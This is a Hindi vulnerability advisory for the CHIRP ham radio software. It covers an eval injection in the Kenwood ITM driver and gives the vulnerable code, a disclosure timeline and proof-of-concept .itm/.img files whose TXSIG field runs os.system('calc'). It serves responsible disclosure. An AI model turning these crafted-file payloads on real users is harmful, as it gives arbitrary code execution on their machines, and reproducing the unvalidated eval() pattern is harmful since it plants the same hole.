
हैम रेडियो प्रोग्रामिंग एप्लिकेशन में eval() इंजेक्शन के माध्यम से मनमाना कोड निष्पादन (arbitrary code execution) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जिसमें दुर्भावनापूर्ण .itm/.img फ़ाइल पेलोड और मूल कारण विश्लेषण (root-cause analysis) शामिल हैं।
eval() के माध्यम से मनमाना कोड निष्पादनउत्पाद: CHIRP - हैम रेडियो को प्रोग्राम करने के लिए एक ओपन-सोर्स प्रोजेक्ट।
प्रभावित संस्करण:
URL: https://github.com/kk7ds/chirp, https://chirpmyradio.com
प्रभावित संस्करण: <= chirp-next-20260814
CWE: CWE-95 (Eval Injection)
CHIRP का Kenwood ITM फ़ाइल फ़ॉर्मेट ड्राइवर खोली गई फ़ाइल से कच्चे CSV फ़ील्ड मानों को बिना किसी सत्यापन के सीधे Python के अंतर्निहित eval() को पास कर देता है। एक हमलावर जो किसी CHIRP उपयोगकर्ता को एक तैयार की गई फ़ाइल पहुँचाता है, वह पीड़ित उपयोगकर्ता के रूप में मनमाना कोड निष्पादन प्राप्त कर लेता है।
chirp/drivers/kenwood_itm.py, _clean_tmode(), पंक्तियाँ 66–67:
def _clean_tmode(self, headers, line, mem):
rtone = eval(generic_csv.get_datum_by_header(headers, line, "TXSIG")) # SINK
ctone = eval(generic_csv.get_datum_by_header(headers, line, "RXSIG")) # SINK
TXSIG और RXSIG मान सीधे खोली गई फ़ाइल की CSV पंक्ति से आते हैं। eval() से पहले कोई प्रकार जाँच, अनुमति-सूची (allowlist), या सैंडबॉक्सिंग लागू नहीं की जाती है।
नीचे दो POC दिए गए हैं।
.itm// Malicious .itm POC
CH,ZN,RXF,TXF,NAME,TXSIG,RXSIG
1,1,146.520000,146.520000,PoC,__import__('os').system('calc'),0
.img// Malicious .img POC
CH,ZN,RXF,TXF,NAME,TXSIG,RXSIG
1,0,146520000,146520000,PoC,__import__('os').system('calc.exe'),0
chirpεimgeyJyY2xhc3MiOiAiSVRNUmFkaW8iLCAidmVuZG9yIjogIktlbndvb2QiLCAibW9kZWwiOiAiSVRNIiwgInZhcmlhbnQiOiAiIiwgImNoaXJwX3ZlcnNpb24iOiAiZGFpbHktMjAyMzAxMDEifQ==
{file_name}.img चुनें। यदि .itm पेलोड का उपयोग कर रहे हैं, तो फ़िल्टर ड्रॉपडाउन को "All Files" में बदलें (CHIRP में ITM के लिए फ़िल्टर नहीं है)।{file_name}.itm चुनें।2026-8-17 -- कमज़ोरी की खोज हुई
2026-8-17 -- अनुरक्षक (maintainer) को ई-मेल भेजा गया
2026-8-17 -- अनुरक्षक ने उत्तर दिया और उसी दिन कोड ठीक कर दिया गया। https://github.com/kk7ds/chirp/commit/39178dbfc4fece083ab9ed20286d6ae3a91a718e
2026-8-21 -- इंस्टॉलर रिलीज़ 20260821 में यह सुधार शामिल है।
2026-8-22 -- NotCVE-2026-0013 जारी किया गया।
2026-8-23 -- CVE-2026-78136 जारी किया गया।